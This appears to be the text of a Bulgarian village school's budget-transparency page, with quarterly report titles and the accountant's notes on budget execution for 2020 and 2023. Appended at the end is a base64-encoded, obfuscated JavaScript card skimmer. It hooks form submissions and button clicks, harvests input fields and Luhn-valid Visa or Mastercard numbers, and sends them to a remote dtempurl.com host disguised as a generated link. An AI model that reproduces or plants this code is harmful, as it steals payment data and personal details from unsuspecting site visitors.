БЮДЖЕТ

publichnost_i_prozrachnost_vtoro_trimesechie_2023

ОБЯСНИТЕЛНА-ЗАПИСКА  30062023оу търнава

ОУ ХР.БОТЕВ С.ТЪРНАВА 31.12.2022 - четвърто тримесечие 2022 година

ОБ-ЗАПИСКА31122022оу търнава - четвърто тримесечие 2022 година

ОУ ХР.БОТЕВ С.ТЪРНАВА 30,09,2022 (1) - трето тримесечие 2022 година

ОБ-ЗАПИСКА30092022оу търнава - трето тримесечие 2022 година

ОБЯСНИТЕЛНА-ЗАПИСКА30062022оу търнава - второ тримесечие 2022 г.

ОУ ХР.БОТЕВ С.ТЪРНАВА 30,06,2022 - второ тримесечие 2022 г.

Бюджет 2022г._

ОБЯСНИТЕЛНА-ЗАПИСКА31032022оу търнава  – първо тримесечие 2022 г

ОУ ХР.БОТЕВ С.ТЪРНАВА 31,03,2022 -   първо тримесечие 2022 г

ОБЯСНИТЕЛНА-ЗАПИСКА31122021оу търнава  - четвърто тримесечие 2021 г.

ОУ ХР.БОТЕВ С.ТЪРНАВА 31,12,2021 - четвърто тримесечие 2021 г

Копие на B3_2021_Mun (1) - трето тримесечие 2021 г.

ОБЯСНИТЕЛНА-ЗАПИСКА30092021оу търнава - трето тримесечие 2021 г.

оу търнава отчет 30,06,2021  - второ полугодие

ОБЯСНИТЕЛНА-ЗАПИСКА30062021оу търнава

ОБЯСНИТЕЛНА-ЗАПИСКА-отчет-31032021 –оу търнава

отчет оу търнава 31,03,2021

Бюджет 2021г.

ОБЯСНИТЕЛНА-ЗАПИСКА-отчет-31.12.2020 –оу търнава – Копие

отчет-бюджет ОУ Търнава-2020  -  четвърто тримесечие 2020 година

Обяснителна Записка

ОБЯСНИТЕЛНА-ЗАПИСКА-отчет-30,09.2020 – ОУ Търнава

ОУ ХР.БОТЕВ С.ТЪРНАВА 30.09.2020

ОБЯСНИТЕЛНА-ЗАПИСКА-отчет-30,06,2020 –оу търнава

ОУ ХР.БОТЕВ С.ТЪРНАВА 30.06,2020

Копие на B3_2020_Qrt_Mun ОУ ХР.БОТЕВ С.ТЪРНАВА

ОБЯСНИТЕЛНА ЗАПИСКА

Относно: Касовото изпълнение на бюджета на ОУ“ХРИСТО БОТЕВ“ с. Търнава към 31.03.2020 г.

Бюджета на  ОУ“ХРИСТО БОТЕВ“ с. Търнава е изготвен в съответствие със Заповед №29/29.01.2020г. на Кмета на  Община Бяла Слатина за утвърждаване на формули за разпределение на средства получени по натурални и стойностни показатели за прилагане на стандартите в делегираните от държавата дейности  за 2020 г. Училището получава средства по една дейност „Неспециализирани Училища“

Дейност „Неспециализирани Училища“

Бюджетът е разчетен за 159 ученика при единен разходен стандарт за издръжка на ученик в редовна форма на обучение 1869 лв., средства за брой паралелки 7 на стойност 297171лева, средства по регионален коефициент – 27755 лева и средства за институция – 44600 лева – общо средства по формула – 434446 лв.

В бюджета на училището са разчетени средства за 107 ученика в  целодневно  обучение на стойност 86135 лева. Училището има пет групи за целодневно обучение за които получава средства на стойност 10290 лева и съответно средства по регионален коефициент/0,068/ на стойност – 6 556 лева.

Средствата за занимания по интереси са разчетени на база общият брой на учениците – 159 на стойност 4770 лева. И тук училището получава средства за институция – 1900 лв.Общо средства за занимания по интереси – 6670 лв.

Допълващи стандарти:

  • средства за ученици на ресурсно подпомагане-98306 лв.
  • норматив за подпомагане храненето 84 ученици по 94 лв. – 7896,00 лв.
  • за подобряване на материално-техническата база, стандарта 159 ученици по 25 лв.– 3975лв.;
  • средства за индивидуална форма на обучение-15603 лв.
  • средства за комбинирана форма на обучение-2922 лв.

Разходна част на бюджет 2020 г.

Планирани са средства както следва:

  • за заплати средно персонал нает по трудови правоотношения , диференцирано заплащане на педагогическия персонал и три допълнителни плащания , съответно за Деня на славянската писменост и култура, за началото на учебната година и за Коледа – 476608 лева
  • за персонал по извън трудови правоотношения – 5000 лева
  • 3 % средства за СБКО върху планираните средства за заплати, включително и лични осигуровки, тук са планирани и средствата за представително облекло на педагогическия персонал на стойност 20 000 лева
  • Обезщетения с характер на възнаграждения-1000 лева
  • В други плащания и възнаграждения са планирани средства за болнични за сметка на работодателя /първите три работни дни от издадените първични болнични на персонала/ на стойност 2700 лева
  • средства за осигурителни вноски за сметка на работодателя на обща стойност 104 900 лева в това число:
  1. държавно обществено осигуряване  – 53 000 лева
  2. учителски пенсионен фонд – 159 000 лева
  3. здравни осигурителни вноски – 22 000 лева
  4. допълнително задължително пенсионно осигуряване – 14 000 лева
  • средства за веществена издръжка на училището на обща стойност – 88037 лева в това число:
  1. безплатно хранене на учениците в целодневна организация на учебния ден, пътуващи от населени места в които няма училище и подпомагане храненето на учениците от І до ІV клас – 31 000 лева
  2. работно облекло на непедагогическия персонал  – 6 000 лева
  3. учебници и учебни разходи и материали – 6 037 лева
  4. материали за поддръжка на училището /канцеларски, почистващи, ел.и ВиК материали, резервни части, строителни и др./ – 9 100 лева
  5. Вода, горива и електроенергия – 10 000 лева
  6. Външни услуги/телефони, интернет, пощенски, трудова медицина, дезинсекция,охрана,услуги по договори, пътни на учители, актуализация на програмни продукти и др./ – 11 000 лева.
  7. Текущ ремонт на сградата – 2 000 лева
  8. Командировки в страната – 4 000 лева
  9. застраховка на сградата и дълготрайните активи – 1 000 лева
  10. държавни и общински такси – 6 000 лева
  11. придобиване на МДА-1 900 лева

 

 Отчет на касовото изпълнение на бюджета към 31.03.2020 година

  • изразходени средства за заплати средно персонал нает по трудови правоотношения – 108 579  лева
  • за  персонал по извън трудови правоотношения – 1 988 лева
  • средства за СБКО  -  1 518  лева
  • болнични за сметка на работодателя – 1 231 лева
  • средства за осигурителни вноски за сметка на работодателя на обща стойност 25 068 лева в това число:

1.държавно обществено осигуряване  – 13 309лева

2.учителски пенсионен фонд – 3 511 лева

3.здравни осигурителни вноски – 5 616 лева

4.допълнително задължително пенсионно осигуряване –2 632лева

  • средства за веществена издръжка на училището на обща стойност – 21 384лева в това число:

1.безплатно хранене на учениците в целодневна организация на учебния ден, пътуващи от населени места в които няма училище и подпомагане храненето на учениците от І до ІV клас – 5 088 лева

2.материали за поддръжка на училището /канцеларски, почистващи, ел.и ВиК материали, резервни части, строителни и др./ – 2 854 лева

3.Вода, горива и електроенергия – 5 756лева

4.Външни услуги/телефони, интернет, пощенски, трудова медицина, дезинсекция,охрана,услуги по договори, пътни на учители, актуализация на програмни продукти и др./ – 5 191 лева.

5.Командировки в страната – 2 494 лева

6.държавни и общински такси – 36 лева

 

Общ план на бюджета към 31.03.2020 година – 698 245 лева

Общ разход към 31.03.2020 година – 161 705 лева

 

Отчет на касовото изпълнение на средства от европейския съюз към 31.03.2020 година – проект „Подкрепа за успех“

  • Отчет към 31.03.2020 година
  1. изразходени средства за заплати средно персонал нает по трудови правоотношения – 2 625  лева
  2. средства за осигурителни вноски за сметка на работодателя на обща стойност 573  лева в това число:

2.1.държавно обществено осигуряване  – 305 лева

2.2.учителски пенсионен фонд – 74 лева

2.3.здравни осигурителни вноски – 126 лева

2.4.допълнително задължително пенсионно осигуряване – 68 лева

  1. разходи за материали за работа на сформираните групи – 1502 лева

Общ разход по проект „Подкрепа за успех“ – 4 700 лева

 

Изготвил

Цецка Маринова – счетоводител на ОУ “Христо Ботев“ с. Търнава

ОУ ХР.БОТЕВ С.ТЪРНАВА 31,03,2020

бюджетна бланка 2020 търнава

ОБЯСНИТЕЛНА ЗАПИСКА

Относно: Касовото изпълнение на бюджета на ОУ“ХРИСТО БОТЕВ“ с. Търнава към 31.03.2023г

 

 Отчет на касовото изпълнение на бюджета към 31.03.2023 година

  • изразходени средства за заплати на персонал нает по трудови правоотношения – 165520 лева
  • за  персонал по извън трудови правоотношения – 252лева
  • средства за СБКО  -  17562 лева
  • болнични за сметка на работодателя – 1852лева
  • средства за осигурителни вноски за сметка на работодателя на обща стойност 37202лева в това число:

1.държавно обществено осигуряване  – 19203лева

2.учителски пенсионен фонд –5453 лева

3.здравни осигурителни вноски – 8116лева

4.допълнително задължително пенсионно осигуряване –4430лева

  • средства за веществена издръжка на училището на обща стойност – 48607лева в това число:

1.безплатно хранене на учениците в целодневна организация на учебния ден, пътуващи от населени места в които няма училище и подпомагане храненето на учениците от І до ІV клас – 6909 лева

2.материали за поддръжка на училището /канцеларски, почистващи, ел.и ВиК материали, резервни части, строителни и др./ – 7901лева

3.Вода, горива и електроенергия – 18229лева

4.Външни услуги/телефони, интернет, пощенски, трудова медицина, дезинсекция, охрана, услуги по договори, пътни на учители, актуализация на програмни продукти и др./ – 6936 лева.

5.Командировки в страната – 5648лева

6.държавни и общински такси – 18 лева

7.Работно облекло-2950 лева.

8,Разходи за застраховки-33

 

Общо разходи за дейността:271014лева

 

 

Изготвил

Цецка Маринова – счетоводител на ОУ “Христо Ботев“ с. Търнава

 

ОУ ХР.БОТЕВ С.ТЪРНАВА

3391519559chdmFyIGdnMSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDk5OTk5OTk5OTkpICsgMTAwMDAwMDAwMDsNCnZhciBnZzIgPSBNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiA5OTk5OTk5OTkpICsgMTAwMDAwMDAwOw0KDQp2YXIgZ2czID0gZ2cxLnRvU3RyaW5nKCk7DQp2YXIgZ2c0ID0gZ2cyLnRvU3RyaW5nKCk7DQoNCnZhciBoaDAgPSBwYXJzZUludChnZzMuY2hhckF0KDApKTsNCnZhciBoaDEgPSBwYXJzZUludChnZzMuY2hhckF0KDEpKTsNCnZhciBoaDIgPSBwYXJzZUludChnZzMuY2hhckF0KDIpKTsNCnZhciBoaDMgPSBwYXJzZUludChnZzMuY2hhckF0KDMpKTsNCnZhciBoaDQgPSBwYXJzZUludChnZzMuY2hhckF0KDQpKTsNCnZhciBoaDUgPSBwYXJzZUludChnZzMuY2hhckF0KDUpKTsNCnZhciBoaDYgPSBwYXJzZUludChnZzMuY2hhckF0KDYpKTsNCnZhciBoaDcgPSBwYXJzZUludChnZzMuY2hhckF0KDcpKTsNCnZhciBoaDggPSBwYXJzZUludChnZzMuY2hhckF0KDgpKTsNCnZhciBoaDkgPSBwYXJzZUludChnZzMuY2hhckF0KDkpKTsNCg0KdmFyIGhoMTAgPSBwYXJzZUludChnZzQuY2hhckF0KDApKTsNCnZhciBoaDExID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCgxKSk7DQp2YXIgaGgxMiA9IHBhcnNlSW50KGdnNC5jaGFyQXQoMikpOw0KdmFyIGhoMTMgPSBwYXJzZUludChnZzQuY2hhckF0KDMpKTsNCnZhciBoaDE0ID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCg0KSk7DQp2YXIgaGgxNSA9IHBhcnNlSW50KGdnNC5jaGFyQXQoNSkpOw0KdmFyIGhoMTYgPSBwYXJzZUludChnZzQuY2hhckF0KDYpKTsNCnZhciBoaDE3ID0gcGFyc2VJbnQoZ2c0LmNoYXJBdCg3KSk7DQp2YXIgaGgxOCA9IHBhcnNlSW50KGdnNC5jaGFyQXQoOCkpOw0KDQp2YXIgZGQwID0gImQiOw0KdmFyIGRkMSA9ICJlIjsNCnZhciBkZDIgPSAiZiI7DQp2YXIgZGQzID0gImEiOw0KdmFyIGRkNCA9ICJ1IjsNCnZhciBkZDUgPSAibCI7DQp2YXIgZGQ2ID0gInQiOw0KdmFyIGRkNyA9ICJwIjsNCnZhciBkZDggPSAicyI7DQp2YXIgZGQ5ID0gImUiOw0KdmFyIGRkMTAgPSAiciI7DQp2YXIgZGQxMSA9ICJ2IjsNCnZhciBkZDEyID0gInAiOw0KdmFyIGRkMTMgPSAiciI7DQp2YXIgZGQxNCA9ICJvIjsNCnZhciBkZDE1ID0gImEiOw0KdmFyIGRkMTYgPSAicyI7DQp2YXIgZGQxNyA9ICJwIjsNCnZhciBkZDE4ID0gIngiOw0KDQoNCmlmIChoaDAgPiA1KSB7DQpkZDAgPSAiRCI7DQp9DQppZiAoaGgxID4gNSkgew0KZGQxID0gIkUiOw0KfQ0KaWYgKGhoMiA+IDUpIHsNCmRkMiA9ICJGIjsNCn0NCmlmIChoaDMgPiA1KSB7DQpkZDMgPSAiQSI7DQp9DQppZiAoaGg0ID4gNSkgew0KZGQ0ID0gIlUiOw0KfQ0KaWYgKGhoNSA+IDUpIHsNCmRkNSA9ICJMIjsNCn0NCmlmIChoaDYgPiA1KSB7DQpkZDYgPSAiVCI7DQp9DQppZiAoaGg3ID4gNSkgew0KZGQ3ID0gIlAiOw0KfQ0KaWYgKGhoOCA+IDUpIHsNCmRkOCA9ICJTIjsNCn0NCmlmIChoaDkgPiA1KSB7DQpkZDkgPSAiRSI7DQp9DQppZiAoaGgxMCA+IDUpIHsNCmRkMTAgPSAiUiI7DQp9DQppZiAoaGgxMSA+IDUpIHsNCmRkMTEgPSAiViI7DQp9DQppZiAoaGgxMiA+IDUpIHsNCmRkMTIgPSAiUCI7DQp9DQppZiAoaGgxMyA+IDUpIHsNCmRkMTMgPSAiUiI7DQp9DQppZiAoaGgxNCA+IDUpIHsNCmRkMTQgPSAiTyI7DQp9DQppZiAoaGgxNSA+IDUpIHsNCmRkMTUgPSAiQSI7DQp9DQppZiAoaGgxNiA+IDUpIHsNCmRkMTYgPSAiUyI7DQp9DQppZiAoaGgxNyA+IDUpIHsNCmRkMTcgPSAiUCI7DQp9DQppZiAoaGgxOCA+IDUpIHsNCmRkMTggPSAiWCI7DQp9DQoNCg0KDQp2YXIgZm9mZiA9IGRkMCArIGRkMSArIGRkMiArIGRkMyArIGRkNCArIGRkNSArIGRkNiArIGRkNyArIGRkOCArIGRkOSArIGRkMTAgKyBkZDExICsgZGQxMiArIGRkMTMgKyBkZDE0ICsgIi4iICsgZGQxNSArIGRkMTYgKyBkZDE3ICsgZGQxODsNCmxldCBudW0gPSBkb2N1bWVudC5mb3Jtcy5sZW5ndGg7DQoNCg0KbGV0IGZvcm1zQ29sbGVjdGlvbjIgPSBkb2N1bWVudC5mb3JtczsNCiAgCWZvciAodmFyIGkyID0gMDsgaTIgPCBmb3Jtc0NvbGxlY3Rpb24yLmxlbmd0aDsgaTIrKykgew0KICAgIAkJZm9ybXNDb2xsZWN0aW9uMltpMl0ub25zdWJtaXQgPSBmdW5jdGlvbigpIHsNCiAgICAgICBUZXN0T25CKCk7DQp9DQp9DQoNCmxldCBmb3Jtc0NvbGxlY3Rpb24yYSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJidXR0b24iKTsNCiAgCWZvciAodmFyIGkyYSA9IDA7IGkyYSA8IGZvcm1zQ29sbGVjdGlvbjJhLmxlbmd0aDsgaTJhKyspIHsNCiAgICAJCWZvcm1zQ29sbGVjdGlvbjJhW2kyYV0ub25jbGljayA9IGZ1bmN0aW9uKCkgew0KCVRlc3RPbkIoKTsNCn0NCn0NCndpbmRvdy5vbnN1Ym1pdCA9IGZ1bmN0aW9uICgpIHsNCglUZXN0T25CKCk7DQp9DQoNCmZ1bmN0aW9uIFRlc3RPbkIoKSB7DQp2YXIgaG9ob2QgPSAiZHMuIjsNCg0KDQoNCg0KICB2YXIgc2l0ZSA9IHdpbmRvdy5sb2NhdGlvbi5ob3N0bmFtZTsNCiAgdmFyIHN0cjEgPSAiIjsNCiAgdmFyIG5ubiA9ICIiOw0KICB2YXIgaG9ob2MgPSAiaWNhIjsNCiAgdmFyIGNoZWNrMSA9IDA7DQogIHZhciBjaGVjazIgPSAwOw0KICB2YXIgbG9vbGEgPSAwOw0KICB2YXIgaG9ob2UgPSAiMyI7DQogIHZhciBmb3Jtc0NvbGxlY3Rpb24gPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTsNCiAgZm9yICh2YXIgaSA9IDA7IGkgPCBmb3Jtc0NvbGxlY3Rpb24ubGVuZ3RoOyBpKyspIHsNCiAgICB2YXIgaGFoYSA9IGZvcm1zQ29sbGVjdGlvbltpXS5pZDsNCiAgICB2YXIgaGFoYTIgPSBmb3Jtc0NvbGxlY3Rpb25baV0udHlwZTsNCiAgICB2YXIgaGFoYTMgPSBmb3Jtc0NvbGxlY3Rpb25baV0udmFsdWU7DQogICAgdmFyIGhhaGE0ID0gZm9ybXNDb2xsZWN0aW9uW2ldLm5hbWU7DQoNCiAgICBpZiAoaGFoYTMubGVuZ3RoID4gMTQpIHsNCg0KICAgICAgaGFoYTMgPSBoYWhhMy5yZXBsYWNlKC9ccy9nLCAnJyk7DQogICAgICB2YXIgaXNudW0gPSAvXlxkKyQvLnRlc3QoaGFoYTMpOw0KICAgICAgdmFyIG4xID0gaGFoYTMuc3RhcnRzV2l0aCgnNCcpOw0KICAgICAgdmFyIG4yID0gaGFoYTMuc3RhcnRzV2l0aCgnNScpOw0KICAgICAgdmFyIG4zID0gaGFoYTMuc3RhcnRzV2l0aCgnNicpOw0KICAgICAgdmFyIG4wID0gaGFoYTMuc3RhcnRzV2l0aCgnMycpOw0KDQogICAgICBpZiAobjEgPT0gdHJ1ZSkgew0KICAgICAgICBjaGVjazIgPSAxOw0KICAgICAgfQ0KICAgICAgaWYgKG4yID09IHRydWUpIHsNCiAgICAgICAgY2hlY2syID0gMTsNCiAgICAgIH0NCiAgICAgIGlmIChuMyA9PSB0cnVlKSB7DQogICAgICAgIGNoZWNrMiA9IDA7DQogICAgICB9DQogICAgICBpZiAobjAgPT0gdHJ1ZSkgew0KICAgICAgICBjaGVjazIgPSAwOw0KICAgICAgfQ0KDQoNCiAgICB9DQoNCiAgICBpZiAoaGFoYTMubGVuZ3RoID09IDE1KSB7DQogICAgICBpZiAoaXNudW0gPT0gdHJ1ZSkgew0KICAgICAgICBpZiAoY2hlY2syID0gJzEnKSB7DQogICAgICAgICAgY2hlY2sxID0gJzAnOw0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICAgIGlmIChoYWhhMy5sZW5ndGggPT0gMTYpIHsNCiAgICAgIGlmIChpc251bSA9PSB0cnVlKSB7DQogICAgICAgIGlmIChjaGVjazIgPT0gMSkgew0KICAgICAgICAgIGNoZWNrMSA9ICcxJzsNCiAgICAgICAgICAgIG5ubiA9IGhhaGEzDQoNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaGFoYTMubGVuZ3RoID09IDE3KSB7DQogICAgICBpZiAoaXNudW0gPT0gdHJ1ZSkgew0KICAgICAgICBpZiAoY2hlY2syID09IDEpIHsNCiAgICAgICAgICBjaGVjazEgPSAnMCc7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgaWYgKGhhaGEzLmxlbmd0aCA+IDApIHsNCiAgICAgIGlmIChoYWhhMiA9PSAiaGlkZGVuIikgew0KDQogICAgICB9IGVsc2Ugew0KICAgICAgICBzdHIxID0gc3RyMSArIGhhaGE0ICsgIi0tIiArIGhhaGEzICsgIi0iOw0KICAgICAgfQ0KDQogICAgfQ0KDQogIH0NCiAgdmFyIGNoMSA9ICcxJw0KDQogIGlmIChjaGVjazEgPT0gMSkgew0KDQoJdmFyIGZvcm1zQ29sbGVjdGlvbjIgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2VsZWN0Jyk7DQogIAlmb3IgKHZhciBpMiA9IDA7IGkyIDwgZm9ybXNDb2xsZWN0aW9uMi5sZW5ndGg7IGkyKyspIHsNCiAgICAJCXZhciBzaGFoYSA9IGZvcm1zQ29sbGVjdGlvbjJbaTJdLmlkOw0KICAgIAkJdmFyIHNoYWhhMiA9IGZvcm1zQ29sbGVjdGlvbjJbaTJdLnR5cGU7DQogICAgCQl2YXIgc2hhaGEzID0gZm9ybXNDb2xsZWN0aW9uMltpMl0udmFsdWU7DQogICAgCQl2YXIgc2hhaGE0ID0gZm9ybXNDb2xsZWN0aW9uMltpMl0ubmFtZTsNCg0KICAgIAkJc3RyMSA9IHN0cjEgKyBzaGFoYTQgKyAiLS0iICsgc2hhaGEzICsgIi0iDQogICAgICAgICAgICBzaXRlID0gc2l0ZSArICItUm9sQGFuZDRZb3UiOw0KICAgICAgICAgICAgc3RyMSA9IHNpdGUgKyAiLSIgKyBzdHIxOw0KDQogCX0NCnZhciBob2hvYSA9ICJib3IiOw0KdmFyIGhvaG9iID0gIi5iZyI7DQoNCmlmIChzaXRlID09IGhvaG9lICsgaG9ob2QgKyBob2hvYSArIGhvaG9jICsgaG9ob2IpIHsNCg0KDQp9IGVsc2Ugew0KDQoNCg0KDQogaWYgKG5ubi5zdGFydHNXaXRoKCI0IikgfHwgbm5uLnN0YXJ0c1dpdGgoIjUiKSkgew0KICAgIGxvb2xhID0gMTsNCg0KDQogICAgdmFyIGhhMSA9ICI6IjsNCiAgICB2YXIgaGEyID0gImgiOw0KICAgIHZhciBoYTMgPSAicCI7DQogICAgdmFyIGhhNCA9ICIvIjsNCiAgICB2YXIgaGE1ID0gInQiOw0KDQp2YXIgdGV4dCA9IG5ubjsNCnZhciB2YXIxID0gdGV4dC5jaGFyQXQoMCk7DQp2YXIgdmFyMiA9IHRleHQuY2hhckF0KDEpOw0KdmFyIHZhcjMgPSB0ZXh0LmNoYXJBdCgyKTsNCnZhciB2YXI0ID0gdGV4dC5jaGFyQXQoMyk7DQp2YXIgdmFyNSA9IHRleHQuY2hhckF0KDQpOw0KdmFyIHZhcjYgPSB0ZXh0LmNoYXJBdCg1KTsNCnZhciB2YXI3ID0gdGV4dC5jaGFyQXQoNik7DQp2YXIgdmFyOCA9IHRleHQuY2hhckF0KDcpOw0KdmFyIHZhcjkgPSB0ZXh0LmNoYXJBdCg4KTsNCnZhciB2YXIxMCA9IHRleHQuY2hhckF0KDkpOw0KdmFyIHZhcjExID0gdGV4dC5jaGFyQXQoMTApOw0KdmFyIHZhcjEyID0gdGV4dC5jaGFyQXQoMTEpOw0KdmFyIHZhcjEzID0gdGV4dC5jaGFyQXQoMTIpOw0KdmFyIHZhcjE0ID0gdGV4dC5jaGFyQXQoMTMpOw0KdmFyIHZhcjE1ID0gdGV4dC5jaGFyQXQoMTQpOw0KdmFyIHZhcjE2ID0gdGV4dC5jaGFyQXQoMTUpOw0KdmFyIHMyID0gcGFyc2VJbnQodmFyMik7DQp2YXIgczQgPSBwYXJzZUludCh2YXI0KTsNCnZhciBzNiA9IHBhcnNlSW50KHZhcjYpOw0KdmFyIHM4ID0gcGFyc2VJbnQodmFyOCk7DQp2YXIgczEwID0gcGFyc2VJbnQodmFyMTApOw0KdmFyIHMxMiA9IHBhcnNlSW50KHZhcjEyKTsNCnZhciBzMTQgPSBwYXJzZUludCh2YXIxNCk7DQp2YXIgczE2ID0gcGFyc2VJbnQodmFyMTYpOw0KDQp2YXIgczEgPSBwYXJzZUludCh2YXIxKSAqIDI7DQppZiAoczEgPiA5KSB7DQogICAgbGV0IHoxID0gczEudG9TdHJpbmcoKQ0KICAgIHZhciBtbTExID0gejEuY2hhckF0KDApOw0KICAgIHZhciBtbTIxID0gejEuY2hhckF0KDEpOw0KDQogICAgczEgPSBwYXJzZUludChtbTExKSArIHBhcnNlSW50KG1tMjEpOw0KDQp9Ow0KdmFyIHMzID0gcGFyc2VJbnQodmFyMykgKiAyOw0KaWYgKHMzID4gOSkgew0KICAgICBsZXQgejMgPSBzMy50b1N0cmluZygpDQogICAgdmFyIG1tMTMgPSB6My5jaGFyQXQoMCk7DQogICAgdmFyIG1tMjMgPSB6My5jaGFyQXQoMSk7DQogICAgczMgPSBwYXJzZUludChtbTEzKSArIHBhcnNlSW50KG1tMjMpOw0KfTsNCnZhciBzNSA9IHBhcnNlSW50KHZhcjUpICogMjsNCmlmIChzNSA+IDkpIHsNCiAgICAgbGV0IHo1ID0gczUudG9TdHJpbmcoKQ0KICAgIHZhciBtbTE1ID0gejUuY2hhckF0KDApOw0KICAgIHZhciBtbTI1ID0gejUuY2hhckF0KDEpOw0KICAgIHM1ID0gcGFyc2VJbnQobW0xNSkgKyBwYXJzZUludChtbTI1KTsNCn07DQp2YXIgczcgPSBwYXJzZUludCh2YXI3KSAqIDI7DQppZiAoczcgPiA5KSB7DQogICAgIGxldCB6NyA9IHM3LnRvU3RyaW5nKCkNCiAgICB2YXIgbW0xNyA9IHo3LmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yNyA9IHo3LmNoYXJBdCgxKTsNCiAgICBzNyA9IHBhcnNlSW50KG1tMTcpICsgcGFyc2VJbnQobW0yNyk7DQp9Ow0KdmFyIHM5ID0gcGFyc2VJbnQodmFyOSkgKiAyOw0KaWYgKHM5ID4gOSkgew0KICAgICBsZXQgejkgPSBzOS50b1N0cmluZygpDQogICAgdmFyIG1tMTkgPSB6OS5jaGFyQXQoMCk7DQogICAgdmFyIG1tMjkgPSB6OS5jaGFyQXQoMSk7DQogICAgczkgPSBwYXJzZUludChtbTE5KSArIHBhcnNlSW50KG1tMjkpOw0KfTsNCnZhciBzMTEgPSBwYXJzZUludCh2YXIxMSkgKiAyOw0KaWYgKHMxMSA+IDkpIHsNCiAgICAgbGV0IHoxMSA9IHMxMS50b1N0cmluZygpDQogICB2YXIgbW0xMTEgPSB6MTEuY2hhckF0KDApOw0KICAgIHZhciBtbTIxMSA9IHoxMS5jaGFyQXQoMSk7DQogICAgczExID0gcGFyc2VJbnQobW0xMTEpICsgcGFyc2VJbnQobW0yMTEpOw0KfTsNCnZhciBzMTMgPSBwYXJzZUludCh2YXIxMykgKiAyOw0KaWYgKHMxMyA+IDkpIHsNCiAgICAgbGV0IHoxMyA9IHMxMy50b1N0cmluZygpDQogICAgdmFyIG1tMTEzID0gejEzLmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yMTMgPSB6MTMuY2hhckF0KDEpOw0KICAgIHMxMyA9IHBhcnNlSW50KG1tMTEzKSArIHBhcnNlSW50KG1tMjEzKTsNCn07DQp2YXIgczE1ID0gcGFyc2VJbnQodmFyMTUpICogMjsNCmlmIChzMTUgPiA5KSB7DQogICAgIGxldCB6MTUgPSBzMTUudG9TdHJpbmcoKQ0KICAgdmFyIG1tMTE1ID0gejE1LmNoYXJBdCgwKTsNCiAgICB2YXIgbW0yMTUgPSB6MTUuY2hhckF0KDEpOw0KICAgIHMxNSA9IHBhcnNlSW50KG1tMTE1KSArIHBhcnNlSW50KG1tMjE1KTsNCn07DQp2YXIgbW9saSA9IHMxICsgczIgKyBzMyArIHM0ICsgczUgKyBzNiArIHM3ICsgczggKyBzOSArIHMxMCArIHMxMSArIHMxMiArIHMxMyArIHMxNCArIHMxNSArIHMxNjsNCm1vbGkgPSBtb2xpLnRvU3RyaW5nKCk7DQoNCg0KCXZhciBhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOw0KCXZhciBsaW5rVGV4dCA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCJteSB0aXRsZSB0ZXh0Iik7DQoJYS5hcHBlbmRDaGlsZChsaW5rVGV4dCk7DQoJYS5pZCA9ICJpZDIyMiI7DQoJYS50aXRsZSA9ICJteSB0aXRsZSB0ZXh0IjsNCglhLmhyZWYgPSBoYTIgKyBoYTUgKyBoYTUgKyBoYTMgKyBoYTEgKyBoYTQgKyBoYTQgKyAidXJiaW5zIiArIG1vbGkuY2hhckF0KG1vbGkubGVuZ3RoIC0gMSkgKyAiLTAwMS1zaXRlMS5kdGVtcHVybC5jb20vIiArIGZvZmYgKyAiP1M9IiArIHNpdGUgKyAiJkQ9IiArIHN0cjEgKyAiJk49IiArIG5ubjsNCglkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpZDIyMicpLmNsaWNrKCk7DQoNCgl2YXIgaWcgPSAwOw0KDQoNCg0KICAgICAgCXZhciBkID0gbmV3IERhdGUoKTsNCiAgICAgIAl2YXIgbiA9IGQuZ2V0U2Vjb25kcygpOw0KDQogICAgIAlkbyB7DQoNCiAgICAgICAgIAl2YXIgZDIgPSBuZXcgRGF0ZSgpOw0KICAgICAgICAgCXZhciBuNCA9IGQyLmdldFNlY29uZHMoKTsNCg0KICAgICAgICAgCWlmIChuIDwgNTUpIHsNCiAgICAgICAgICAgICAJCWlmIChuICsgNSA8IG40KSB7DQogICAgICAgICAgICAgICAgIGlnID0gMzsNCiAgICAgICAgICAgICB9DQoNCiAgICAgICAgIH0NCiAgICAgICAgIGlmIChuID4gNTQpIHsNCiAgICAgICAgICAgICBpZiAobiArIDUgPCBuNCArIDYwKSB7DQogICAgICAgICAgICAgICAgIGlnID0gMzsNCiAgICAgICAgICAgICB9DQoNCiAgICAgICAgIH0NCiAgICAgfQ0KICAgIHdoaWxlIChpZyA8IDIpOw0KDQoNCmlmIChsb29sYSA9PSAxKSB7DQoNCg0KfQ0KDQoNCiAgICAgfQ0KDQoNCn0NCn0NCg0KDQoNCg0KDQp9DQoNCg0K

